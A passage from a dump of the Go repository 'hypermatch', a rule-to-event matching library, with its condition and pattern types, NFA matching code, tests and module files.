c.AddRule(i, numberOfRules/10) 30 | } 31 | log.Printf("adding %d rules took %.5fs\n", numberOfRules, time.Since(beforeAddingRules).Seconds()) 32 | runEvents(c) 33 | } 34 | } 35 | 36 | func runEvents(c Candidate) { 37 | numberOfEvents := 0 38 | numberOfMatches := 0 39 | beforeCheckingEvents := time.Now() 40 | lastPrint := beforeCheckingEvents 41 | ctx, cancel := context.WithTimeout(context.Background(), eventCheckDuration) 42 | defer cancel() 43 | for { 44 | select { 45 | case <-ctx.Done(): 46 | return 47 | default: 48 | numberOfMatches += c.Match(numberOfMatches, numberOfRules/10) 49 | numberOfEvents += 1 50 | 51 | if time.Since(lastPrint).Seconds() >= 1 { 52 | log.Printf("processed %d events with %d matches in %.5fs -> %.5f evt/s\n", numberOfEvents, numberOfMatches, time.Since(beforeCheckingEvents).Seconds(), float64(numberOfEvents)/time.Since(beforeCheckingEvents).Seconds()) 53 | lastPrint = time.Now() 54 | } 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /conditions.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "encoding/json" 5 | ) 6 | 7 | // ConditionSet represents a rule and consists of one or more items of type Condition 8 | type ConditionSet []Condition 9 | 10 | // MarshalJSON marshals a ConditionSet into an easy readable JSON object 11 | func (c ConditionSet) MarshalJSON() ([]byte, error) { 12 | // CAUTION: this must not be a pointer-receiver! 13 | data := make(map[string]Pattern, len(c)) 14 | for _, cc := range c { 15 | data[cc.Path] = cc.Pattern 16 | } 17 | 18 | return json.Marshal(data) 19 | } 20 | 21 | // UnmarshalJSON unmarshal the JSON back to a ConditionSet 22 | func (c *ConditionSet) UnmarshalJSON(data []byte) error { 23 | // CAUTION: this must be a pointer-receiver! 24 | var r map[string]Pattern 25 | if err := json.Unmarshal(data, &r); err != nil { 26 | return err 27 | } 28 | 29 | var cs ConditionSet 30 | for k, v := range r { 31 | cs = append(cs, Condition{ 32 | Path: k, 33 | Pattern: v, 34 | }) 35 | } 36 | *c = cs 37 | return nil 38 | } 39 | 40 | // Condition represents a single condition inside a ConditionSet. It defines a Path (=reference to property in an event) and a Pattern to check against the value. 41 | type Condition struct { 42 | Path string `json:"path"` 43 | Pattern Pattern `json:"pattern"` 44 | } 45 | 46 | // MarshalJSON marshals a Condition into an easy readable JSON object 47 | func (c Condition) MarshalJSON() ([]byte, error) { 48 | // CAUTION: this must not be a pointer-receiver! 49 | return json.Marshal(map[string]Pattern{ 50 | c.Path: c.Pattern, 51 | }) 52 | } 53 | 54 | // UnmarshalJSON unmarshal the JSON back to a Condition 55 | func (c *Condition) UnmarshalJSON(data []byte) error { 56 | // CAUTION: this must be a pointer-receiver! 57 | var r map[string]Pattern 58 | if err := json.Unmarshal(data, &r); err != nil { 59 | return err 60 | } 61 | for k, v := range r { 62 | c.Path = k 63 | c.Pattern = v 64 | break 65 | } 66 | return nil 67 | } 68 | 69 | // Pattern defines how a value should be compared. It consists of a Type and either a Value or Sub-patterns depending on the used Type. 70 | type Pattern struct { 71 | Type PatternType `json:"type"` 72 | Value string `json:"value,omitempty"` 73 | Sub []Pattern `json:"sub,omitempty"` 74 | } 75 | 76 | // MarshalJSON marshals a Pattern into an easy readable JSON object 77 | func (p Pattern) MarshalJSON() ([]byte, error) { 78 | // CAUTION: this must not be a pointer-receiver! 79 | 80 | if len(p.Sub) > 0 { 81 | return json.Marshal(map[string][]Pattern{ 82 | p.Type.String(): p.Sub, 83 | }) 84 | } else { 85 | return json.Marshal(map[string]string{ 86 | p.Type.String(): p.Value, 87 | }) 88 | } 89 | } 90 | 91 | // UnmarshalJSON unmarshal the JSON back to a Pattern 92 | func (p *Pattern) UnmarshalJSON(data []byte) error { 93 | // CAUTION: this must be a pointer-receiver! 94 | 95 | var r map[string]json.RawMessage 96 | if err := json.Unmarshal(data, &r); err != nil { 97 | return err 98 | } 99 | 100 | for k, v := range r { 101 | p.Type = PatternTypeFromString(k) 102 | switch p.Type { 103 | case PatternAnythingBut, PatternAnyOf, PatternAllOf: 104 | var ps []Pattern 105 | if err := json.Unmarshal(v, &ps); err != nil { 106 | return err 107 | } 108 | p.Sub = ps 109 | default: 110 | var d string 111 | if err := json.Unmarshal(v, &d); err != nil { 112 | return err 113 | } 114 | p.Value = d 115 | } 116 | break 117 | } 118 | return nil 119 | } 120 | -------------------------------------------------------------------------------- /conditions_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "encoding/json" 5 | "log" 6 | "testing" 7 | 8 | "gotest.tools/v3/assert" 9 | ) 10 | 11 | func TestConditions_MarshalJSON(t *testing.T) { 12 | r := ConditionSet{ 13 | { 14 | Path: "name", 15 | Pattern: Pattern{ 16 | Type: PatternAllOf, 17 | Sub: []Pattern{ 18 | {Type: PatternEquals, Value: "hallo"}, 19 | {Type: PatternWildcard, Value: "hallo*"}, 20 | {Type: PatternAnythingBut, Sub: []Pattern{ 21 | {Type: PatternSuffix, Value: "test"}, 22 | {Type: PatternPrefix, Value: "st"}, 23 | }}, 24 | {Type: PatternAnyOf, Sub: []Pattern{ 25 | {Type: PatternSuffix, Value: "te"}, 26 | {Type: PatternPrefix, Value: "tet"}, 27 | }}, 28 | }, 29 | }, 30 | }, 31 | { 32 | Path: "type", 33 | Pattern: Pattern{ 34 | Type: PatternEquals, 35 | Value: "test", 36 | }, 37 | }, 38 | } 39 | 40 | data1, err := json.Marshal(r) 41 | assert.NilError(t, err) 42 | log.Println(string(data1)) 43 | 44 | var u ConditionSet 45 | assert.NilError(t, json.Unmarshal(data1, &u)) 46 | 47 | assert.Check(t, len(r) == len(u)) 48 | 49 | data2, err := json.Marshal(u) 50 | assert.NilError(t, err) 51 | 52 | assert.Check(t, string(data1) == string(data2)) 53 | } 54 | 55 | func TestConditions_UnmarshalJSON(t *testing.T) { 56 | data := []byte(`{"production": {"equals": "true"}}`) 57 | 58 | var c ConditionSet 59 | err := json.Unmarshal(data, &c) 60 | assert.NilError(t, err) 61 | assert.Check(t, len(c) == 1) 62 | assert.Check(t, c[0].Path == "production") 63 | assert.Check(t, c[0].Pattern.Type == PatternEquals) 64 | assert.Check(t, c[0].Pattern.Value == "true") 65 | } 66 | 67 | func TestConditions_UnmarshalJSON_WithBackslashes(t *testing.T) { 68 | data := []byte(`{"name": {"equals": "te\\st"}}`) 69 | 70 | var c ConditionSet 71 | err := json.Unmarshal(data, &c) 72 | assert.NilError(t, err) 73 | assert.Check(t, len(c) == 1) 74 | assert.Check(t, c[0].Path == "name") 75 | assert.Check(t, c[0].Pattern.Type == PatternEquals) 76 | assert.Check(t, c[0].Pattern.Value == "te\\st") 77 | } 78 | -------------------------------------------------------------------------------- /config.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | // RuleIdentifier is a type alias to represent the identifier for a rule, so that the user of hypermatch get identify which of the rules matches an event. 4 | type RuleIdentifier any 5 | 6 | const ( 7 | byteValueTerminator byte = 0xf5 8 | byteWildcard byte = 0xf6 9 | 10 | charWildcard byte = '*' 11 | ) 12 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | // Package hypermatch is a high-performance Go library that enables rapid matching of a large number of rules against events. 2 | // Designed for speed and efficiency, hypermatch handles thousands of events per second with low latency. 3 | package hypermatch 4 | -------------------------------------------------------------------------------- /event.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | // Property represents a property and a slice of values inside an event. An Event is defined as a slice of Property objects. 4 | type Property struct { 5 | Path string 6 | Values []string 7 | } 8 | -------------------------------------------------------------------------------- /example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/example.png -------------------------------------------------------------------------------- /field_matcher.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | type fieldMatcher struct { 4 | Transitions map[string]*valueMatcher `json:"t,omitempty"` 5 | MatchingRuleIdentifiers []RuleIdentifier `json:"m,omitempty"` 6 | MatchingAnythingButRuleIdentifiers []RuleIdentifier `json:"n,omitempty"` 7 | AnythingButTransitions map[string]map[RuleIdentifier]*fieldMatcher `json:"o,omitempty"` 8 | Exclusive bool `json:"e,omitempty"` 9 | } 10 | 11 | func newFieldMatcher() *fieldMatcher { 12 | return &fieldMatcher{ 13 | Transitions: make(map[string]*valueMatcher), 14 | MatchingRuleIdentifiers: nil, 15 | MatchingAnythingButRuleIdentifiers: nil, 16 | AnythingButTransitions: nil, 17 | } 18 | } 19 | 20 | func (f *fieldMatcher) AddAnythingButTransition(id RuleIdentifier, path string, fm *fieldMatcher) { 21 | if f.AnythingButTransitions == nil { 22 | f.AnythingButTransitions = make(map[string]map[RuleIdentifier]*fieldMatcher) 23 | } 24 | if _, ok := f.AnythingButTransitions[path]; !ok { 25 | f.AnythingButTransitions[path] = make(map[RuleIdentifier]*fieldMatcher) 26 | } 27 | f.AnythingButTransitions[path][id] = fm 28 | } 29 | 30 | func (f *fieldMatcher) GetTransition(key string) *valueMatcher { 31 | vm, ok := f.Transitions[key] 32 | if !ok { 33 | vm = newValueMatcher() 34 | f.Transitions[key] = vm 35 | } 36 | return vm 37 | } 38 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/trainedrocke/hypermatch 2 | 3 | go 1.21.0 4 | 5 | require gotest.tools/v3 v3.5.1 6 | 7 | require github.com/google/go-cmp v0.6.0 // indirect 8 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 2 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 3 | gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= 4 | gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= 5 | -------------------------------------------------------------------------------- /hypermatch.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "sort" 7 | "strings" 8 | ) 9 | 10 | type HyperMatch struct { 11 | matcher *fieldMatcher 12 | rulesCount uint64 13 | } 14 | 15 | func NewHyperMatch() *HyperMatch { 16 | return &HyperMatch{matcher: newFieldMatcher(), rulesCount: 0} 17 | } 18 | 19 | // ValidateRule validates the given condition set. 20 | // Returns an error if validation fails. 21 | func ValidateRule(set ConditionSet) error { 22 | for _, s := range set { 23 | if err := validateCondition(&s); err != nil { 24 | return errors.Join(fmt.Errorf("could not validate condition for '%s'", s.Path), err) 25 | } 26 | } 27 | return nil 28 | } 29 | 30 | // AddRule adds a new rule to the HyperMatch instance. 31 | // 32 | // The rule is defined by a unique identifier and a set of conditions. 33 | // The conditions define the properties that must be matched in order for the rule to be triggered. 34 | // 35 | // If the rule is successfully added, the function returns nil. 36 | // Otherwise, an error is returned. 37 | func (m *HyperMatch) AddRule(id RuleIdentifier, conditionSet ConditionSet) error { 38 | if len(conditionSet) == 0 { 39 | return fmt.Errorf("no conditions provided") 40 | } 41 | 42 | sort.Slice(conditionSet, func(i, j int) bool { 43 | return strings.ToLower(conditionSet[i].Path) < strings.ToLower(conditionSet[j].Path) 44 | }) 45 | 46 | cfm := m.matcher 47 | for _, s := range conditionSet { 48 | cfm = compileCondition(cfm, id, &s) 49 | } 50 | 51 | cfm.MatchingRuleIdentifiers = append(cfm.MatchingRuleIdentifiers, id) 52 | 53 | m.rulesCount += 1 54 | 55 | return nil 56 | } 57 | 58 | // Match takes a list of properties and returns a list of rule identifiers that match those properties 59 | func (m *HyperMatch) Match(properties []Property) []RuleIdentifier { 60 | 61 | sort.Slice(properties, func(i, j int) bool { 62 | return strings.ToLower(properties[i].Path) < strings.ToLower(properties[j].Path) 63 | }) 64 | 65 | matches := newMatchSet() 66 | 67 | for i := range properties { 68 | tryToMatch(properties, i, m.matcher, matches) 69 | } 70 | 71 | return matches.All() 72 | } 73 | 74 | func tryToMatch(properties []Property, i int, fm *fieldMatcher, set *matchSet) { 75 | if i >= len(properties) { 76 | return 77 | } 78 | field := properties[i] 79 | 80 | nextMatchers := match(fm, field.Path, field.Values) 81 | for _, m := range nextMatchers { 82 | set = set.Add(m.MatchingRuleIdentifiers...) 83 | for nI := i; nI < len(properties); nI++ { 84 | tryToMatch(properties, nI, m, set) 85 | } 86 | } 87 | } 88 | 89 | func match(f *fieldMatcher, field string, values []string) []*fieldMatcher { 90 | vm, ok := f.Transitions[field] 91 | if !ok { 92 | return nil 93 | } 94 | 95 | var afms []*fieldMatcher 96 | 97 | for _, value := range values { 98 | v := str2value(value, nil, nil) 99 | fms := vm.Transition(v) 100 | 101 | /* if len(fms) == 0 { 102 | continue 103 | } 104 | */ 105 | set := newMatchSet() 106 | for _, f := range fms { 107 | set.Add(f.MatchingAnythingButRuleIdentifiers...) 108 | } 109 | 110 | if ts, ok := f.AnythingButTransitions[field]; ok { 111 | for id, fm := range ts { 112 | if !set.Contains(id) { 113 | fms = append(fms, fm) 114 | } 115 | } 116 | } 117 | 118 | afms = append(afms, fms...) 119 | } 120 | 121 | return afms 122 | } 123 | -------------------------------------------------------------------------------- /hypermatch_complex_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | func TestHyperMatchComplex(t *testing.T) { 9 | 10 | h := NewHyperMatch() 11 | 12 | assert.NilError(t, h.AddRule(1, []Condition{ 13 | {Path: "namespace", Pattern: Pattern{Type: PatternEquals, Value: "monitoring-schwarz"}}, 14 | {Path: "l1", Pattern: Pattern{Type: PatternEquals, Value: "lidl"}}, 15 | {Path: "name", Pattern: Pattern{Type: PatternWildcard, Value: "*OS*"}}, 16 | {Path: "priority", Pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{{Type: PatternEquals, Value: "P1"}, {Type: PatternEquals, Value: "P2"}}}}, 17 | {Path: "hostgroups", Pattern: Pattern{Type: PatternAllOf, Sub: []Pattern{{Type: PatternEquals, Value: "lidl-de"}, {Type: PatternEquals, Value: "store-servers"}}}}, 18 | })) 19 | 20 | assert.Check(t, containsAll(h.Match([]Property{ 21 | {Path: "namespace", Values: []string{"monitoring-schwarz"}}, 22 | {Path: "l1", Values: []string{"lidl"}}, 23 | {Path: "name", Values: []string{"OS hdd"}}, 24 | {Path: "priority", Values: []string{"P1"}}, 25 | {Path: "hostgroups", Values: []string{"lidl", "lidl-de", "de", "store-servers"}}, 26 | }, 27 | ), 1)) 28 | 29 | assert.Check(t, containsAll(h.Match([]Property{ 30 | {Path: "namespace", Values: []string{"monitoring-schwarz"}}, 31 | {Path: "l1", Values: []string{"lidl"}}, 32 | {Path: "name", Values: []string{"OS hdd"}}, 33 | {Path: "priority", Values: []string{"P1"}}, 34 | {Path: "hostgroups", Values: []string{"lidl", "lidl-de", "de"}}, 35 | }, 36 | ))) 37 | } 38 | -------------------------------------------------------------------------------- /hypermatch_performance_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "testing" 7 | "time" 8 | ) 9 | 10 | func TestHyperMatchPerformance(t *testing.T) { 11 | h := NewHyperMatch() 12 | 13 | timer := time.Now() 14 | generateRules(h, 10000) 15 | log.Printf("generation took %dms", time.Since(timer)/time.Millisecond) 16 | 17 | data := []Property{ 18 | {Path: "namespace", Values: []string{"monitoring-schwarz"}}, 19 | {Path: "l1", Values: []string{"lidl"}}, 20 | {Path: "name", Values: []string{"OS hdd"}}, 21 | {Path: "priority", Values: []string{"P1"}}, 22 | {Path: "instance", Values: []string{"de44"}}, 23 | {Path: "hostgroups", Values: []string{"l", "ld", "de", "ss"}}, 24 | } 25 | 26 | rounds := 1000 27 | 28 | count := 0 29 | index := 0 30 | 31 | timer = time.Now() 32 | 33 | go func() { 34 | for index < rounds-1 { 35 | <-time.After(1 * time.Second) 36 | log.Printf("%d alerts processed - %.1f alerts/s", index+1, float64(index)/float64(time.Since(timer)/time.Second)) 37 | } 38 | }() 39 | 40 | for i := 0; i < rounds; i++ { 41 | count += len(h.Match(data)) 42 | index = i 43 | } 44 | log.Printf("matching took %d ms, c: %d, c2: %d\n", time.Since(timer)/time.Millisecond, count, count/rounds) 45 | } 46 | 47 | func generateRules(h *HyperMatch, count int) { 48 | for i := 0; i < count; i++ { 49 | _ = h.AddRule(RuleIdentifier(i), []Condition{ 50 | {Path: "l1", Pattern: Pattern{Type: PatternEquals, Value: "lidl"}}, 51 | {Path: "name", Pattern: Pattern{Type: PatternPrefix, Value: "OS"}}, 52 | {Path: "instance", Pattern: Pattern{Type: PatternEquals, Value: fmt.Sprintf("de%d", i%(count/100))}}, 53 | {Path: "priority", Pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{{Type: PatternEquals, Value: "P1"}, {Type: PatternEquals, Value: "P2"}}}}, 54 | {Path: "hostgroups", Pattern: Pattern{Type: PatternAllOf, Sub: []Pattern{{Type: PatternEquals, Value: "ld"}, {Type: PatternEquals, Value: "ss"}}}}, 55 | }) 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /hypermatch_simple_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "log" 6 | "slices" 7 | "testing" 8 | ) 9 | 10 | func containsAll(data []RuleIdentifier, entries ...RuleIdentifier) bool { 11 | for _, e := range entries { 12 | if !slices.Contains(data, e) { 13 | log.Printf("Does not contain %d: %v", e, data) 14 | return false 15 | } 16 | } 17 | 18 | return true 19 | } 20 | 21 | func TestHyperMatchSimple(t *testing.T) { 22 | 23 | h := NewHyperMatch() 24 | 25 | assert.NilError(t, h.AddRule(1, []Condition{ 26 | {Path: "y", Pattern: Pattern{Type: PatternEquals, Value: "bb"}}, 27 | {Path: "x", Pattern: Pattern{Type: PatternEquals, Value: "aa"}}, 28 | })) 29 | 30 | assert.NilError(t, h.AddRule(2, []Condition{ 31 | {Path: "y", Pattern: Pattern{Type: PatternEquals, Value: "bb"}}, 32 | })) 33 | 34 | assert.NilError(t, h.AddRule(3, []Condition{ 35 | {Path: "x", Pattern: Pattern{Type: PatternEquals, Value: "dd"}}, 36 | {Path: "y", Pattern: Pattern{Type: PatternEquals, Value: "cc"}}, 37 | })) 38 | 39 | assert.NilError(t, h.AddRule(4, []Condition{ 40 | {Path: "x", Pattern: Pattern{Type: PatternPrefix, Value: "a"}}, 41 | {Path: "y", Pattern: Pattern{Type: PatternPrefix, Value: "b"}}, 42 | })) 43 | 44 | assert.NilError(t, h.AddRule(5, []Condition{ 45 | {Path: "x", Pattern: Pattern{Type: PatternSuffix, Value: "x"}}, 46 | {Path: "y", Pattern: Pattern{Type: PatternSuffix, Value: "y"}}, 47 | })) 48 | 49 | assert.NilError(t, h.AddRule(6, []Condition{ 50 | {Path: "y", Pattern: Pattern{Type: PatternAnythingBut, Sub: []Pattern{ 51 | {Type: PatternEquals, Value: "bb"}, 52 | }}}, 53 | })) 54 | 55 | assert.NilError(t, h.AddRule(7, []Condition{ 56 | {Path: "y", Pattern: Pattern{Type: PatternAnythingBut, Sub: []Pattern{ 57 | {Type: PatternEquals, Value: "b*y"}, 58 | }}}, 59 | })) 60 | 61 | assert.Check(t, containsAll(h.Match([]Property{ 62 | {Path: "x", Values: []string{"aa"}}, 63 | {Path: "y", Values: []string{"bb"}}, 64 | }), 1, 2, 4)) 65 | 66 | assert.Check(t, containsAll(h.Match([]Property{ 67 | {Path: "x", Values: []string{"dd"}}, 68 | {Path: "y", Values: []string{"cc"}}, 69 | }), 3, 6)) 70 | 71 | assert.Check(t, containsAll(h.Match([]Property{ 72 | {Path: "x", Values: []string{"aax"}}, 73 | {Path: "y", Values: []string{"bby"}}, 74 | }), 4, 5, 6, 7)) 75 | 76 | assert.Check(t, containsAll(h.Match([]Property{ 77 | {Path: "x", Values: []string{"aax", "dd"}}, 78 | {Path: "y", Values: []string{"bby", "cc"}}, 79 | }), 3, 4, 5, 6, 7)) 80 | 81 | } 82 | func TestValidateRule(t *testing.T) { 83 | tests := []struct { 84 | name string 85 | set ConditionSet 86 | wantErr bool 87 | }{ 88 | { 89 | name: "empty set", 90 | set: []Condition{}, 91 | wantErr: false, 92 | }, 93 | { 94 | name: "valid set", 95 | set: []Condition{ 96 | { 97 | Path: "a", 98 | Pattern: Pattern{ 99 | Type: PatternEquals, 100 | Value: "2", 101 | }, 102 | }, 103 | { 104 | Path: "b", 105 | Pattern: Pattern{ 106 | Type: PatternEquals, 107 | Value: "1", 108 | }, 109 | }, 110 | }, 111 | wantErr: false, 112 | }, 113 | { 114 | name: "invalid set", 115 | set: []Condition{ 116 | { 117 | Path: "a", 118 | Pattern: Pattern{ 119 | Type: PatternEquals, 120 | Sub: []Pattern{ 121 | { 122 | Type: PatternEquals, 123 | Value: "2", 124 | }, 125 | }, 126 | }, 127 | }, 128 | { 129 | Path: "b", 130 | Pattern: Pattern{ 131 | Type: PatternEquals, 132 | Value: "1", 133 | }, 134 | }, 135 | }, 136 | wantErr: true, 137 | }, 138 | } 139 | for _, tt := range tests { 140 | t.Run(tt.name, func(t *testing.T) { 141 | if err := ValidateRule(tt.set); (err != nil) != tt.wantErr { 142 | t.Errorf("ValidateRule() error = %v, wantErr %v", err, tt.wantErr) 143 | } 144 | }) 145 | } 146 | } 147 | -------------------------------------------------------------------------------- /logo/logo-black-transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/logo/logo-black-transparent.png -------------------------------------------------------------------------------- /logo/logo-small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/logo/logo-small.png -------------------------------------------------------------------------------- /logo/logo-transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/logo/logo-transparent.png -------------------------------------------------------------------------------- /logo/logo-white-transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/logo/logo-white-transparent.png -------------------------------------------------------------------------------- /logo/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trainedrocke/hypermatch/a9b02312d931b77fd375741caf94a91bc52ebc3b/logo/logo.png -------------------------------------------------------------------------------- /matchset.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | type matchSet struct { 4 | // this is faster and more memory efficient than map[RuleIdentifier]bool ! 5 | set map[RuleIdentifier]struct{} 6 | } 7 | 8 | func newMatchSet() *matchSet { 9 | return &matchSet{set: make(map[RuleIdentifier]struct{})} 10 | } 11 | 12 | func (m *matchSet) Add(matches ...RuleIdentifier) *matchSet { 13 | for _, x := range matches { 14 | m.set[x] = struct{}{} 15 | } 16 | return m 17 | } 18 | 19 | func (m *matchSet) Contains(r RuleIdentifier) bool { 20 | _, ok := m.set[r] 21 | return ok 22 | } 23 | 24 | func (m *matchSet) All() []RuleIdentifier { 25 | matches := make([]RuleIdentifier, 0, len(m.set)) 26 | for x := range m.set { 27 | matches = append(matches, x) 28 | } 29 | return matches 30 | } 31 | -------------------------------------------------------------------------------- /nfa.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import "slices" 4 | 5 | type nfaStep struct { 6 | ValueTransitions map[byte]*nfaStep `json:"v,omitempty"` 7 | FieldTransition []*fieldMatcher `json:"f,omitempty"` 8 | } 9 | 10 | func newNfaStep() *nfaStep { 11 | return &nfaStep{ 12 | ValueTransitions: make(map[byte]*nfaStep), 13 | FieldTransition: nil, 14 | } 15 | } 16 | 17 | func (n *nfaStep) MakeStep(char byte) *nfaStep { 18 | s, ok := n.ValueTransitions[char] 19 | if !ok { 20 | s = newNfaStep() 21 | n.ValueTransitions[char] = s 22 | } 23 | return s 24 | } 25 | 26 | func (n *nfaStep) addOrReuseOrCreateFieldTransition(fm *fieldMatcher) *fieldMatcher { 27 | if fm != nil { 28 | if slices.Index(n.FieldTransition, fm) == -1 { 29 | n.FieldTransition = append(n.FieldTransition, fm) 30 | return fm 31 | } else { 32 | return fm 33 | } 34 | } else { 35 | for _, f := range n.FieldTransition { 36 | if !f.Exclusive { 37 | return f 38 | } 39 | } 40 | fm := newFieldMatcher() 41 | n.FieldTransition = append(n.FieldTransition, fm) 42 | return fm 43 | } 44 | } 45 | 46 | func transitionNfa(step *nfaStep, value []byte, transitions []*fieldMatcher) []*fieldMatcher { 47 | if len(value) == 0 { 48 | return nil 49 | } 50 | 51 | if step.FieldTransition != nil { 52 | transitions = append(transitions, step.FieldTransition...) 53 | } 54 | 55 | // transition through the NFA 56 | for i, v := range value { 57 | // if there are no value transitions we can stop here 58 | if step.ValueTransitions == nil { 59 | break 60 | } 61 | 62 | // if there is a wildcard transition, run through it recursively 63 | if w, ok := step.ValueTransitions[byteWildcard]; ok && len(value) > i+1 { 64 | transitions = append(transitions, transitionNfa(w, value[i+1:], nil)...) 65 | } 66 | 67 | // follow the next step if possible, otherwise stop 68 | if s, ok := step.ValueTransitions[v]; ok { 69 | step = s 70 | } else { 71 | break 72 | } 73 | 74 | // if there are field transitions, add them! 75 | if step.FieldTransition != nil { 76 | transitions = append(transitions, step.FieldTransition...) 77 | } 78 | } 79 | 80 | return transitions 81 | } 82 | -------------------------------------------------------------------------------- /pattern.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | type PatternType int 8 | 9 | const ( 10 | PatternEquals PatternType = iota 11 | PatternPrefix 12 | PatternSuffix 13 | PatternWildcard 14 | 15 | PatternAnythingBut 16 | PatternAnyOf 17 | PatternAllOf 18 | 19 | PatternUnknown 20 | ) 21 | 22 | func (p PatternType) AllValues() []PatternType { 23 | return []PatternType{PatternEquals, PatternPrefix, PatternSuffix, PatternWildcard, PatternAnythingBut, PatternAnyOf, PatternAllOf} 24 | } 25 | 26 | func (p PatternType) HasLiteralValue() bool { 27 | switch p { 28 | case PatternEquals, PatternPrefix, PatternSuffix, PatternWildcard: 29 | return true 30 | default: 31 | return false 32 | } 33 | } 34 | 35 | func (p PatternType) String() string { 36 | switch p { 37 | case PatternEquals: 38 | return "equals" 39 | case PatternPrefix: 40 | return "prefix" 41 | case PatternSuffix: 42 | return "suffix" 43 | case PatternWildcard: 44 | return "wildcard" 45 | case PatternAnythingBut: 46 | return "anythingBut" 47 | case PatternAnyOf: 48 | return "anyOf" 49 | case PatternAllOf: 50 | return "allOf" 51 | default: 52 | return "" 53 | } 54 | } 55 | 56 | func PatternTypeFromString(input string) PatternType { 57 | switch strings.ToLower(input) { 58 | case "equals": 59 | return PatternEquals 60 | case "prefix": 61 | return PatternPrefix 62 | case "suffix": 63 | return PatternSuffix 64 | case "wildcard": 65 | return PatternWildcard 66 | case "anythingbut": 67 | return PatternAnythingBut 68 | case "anyof": 69 | return PatternAnyOf 70 | case "allof": 71 | return PatternAllOf 72 | } 73 | return PatternUnknown 74 | } 75 | -------------------------------------------------------------------------------- /pattern_allof.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import "fmt" 4 | 5 | func validatePatternAllOf(path string, pattern *Pattern) error { 6 | if len(pattern.Value) > 0 { 7 | return fmt.Errorf("'[%s] must not contain a value", PatternAllOf.String()) 8 | } 9 | if len(pattern.Sub) == 0 { 10 | return fmt.Errorf("[%s] must contain sub-patterns", PatternAllOf.String()) 11 | } 12 | 13 | for _, p := range pattern.Sub { 14 | if err := validatePattern(path, &p); err != nil { 15 | return err 16 | } 17 | } 18 | 19 | return nil 20 | } 21 | 22 | func compilePatternAllOf(id RuleIdentifier, path string, pattern *Pattern, sourceFm *fieldMatcher, exitFm *fieldMatcher) *fieldMatcher { 23 | lastSourceFm := sourceFm 24 | 25 | for i, p := range pattern.Sub { 26 | if i == len(pattern.Sub)-1 { 27 | // the last pattern 28 | exitFm = compilePattern(id, path, &p, lastSourceFm, exitFm) 29 | } else { 30 | lastSourceFm = compilePattern(id, path, &p, lastSourceFm, nil) 31 | } 32 | } 33 | 34 | return exitFm 35 | } 36 | -------------------------------------------------------------------------------- /pattern_allof_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | type compoundMultiTestTable struct { 9 | pattern Pattern 10 | shouldMatch [][]string 11 | shouldNotMatch [][]string 12 | } 13 | 14 | func TestCompilePatternAllOf(t *testing.T) { 15 | test := []compoundMultiTestTable{ 16 | {pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{ 17 | {Type: PatternEquals, Value: "hallo"}, 18 | {Type: PatternEquals, Value: "welt"}, 19 | }}, shouldMatch: [][]string{{"welt", "hallo"}}, shouldNotMatch: [][]string{{"welt"}, {"hallo"}, {"welt", "eins"}}}, 20 | {pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{ 21 | {Type: PatternEquals, Value: "hallo"}, 22 | {Type: PatternWildcard, Value: "wel*"}, 23 | }}, shouldMatch: [][]string{{"welt", "hallo", "weltttt"}}, shouldNotMatch: [][]string{{"welt"}, {"hallo"}, {"welt", "eins"}}}, 24 | } 25 | 26 | for i, tt := range test { 27 | sourceFm := newFieldMatcher() 28 | fm := compilePatternAllOf(RuleIdentifier(i), "test", &tt.pattern, sourceFm, nil) 29 | 30 | for _, m := range tt.shouldMatch { 31 | start := sourceFm 32 | for range 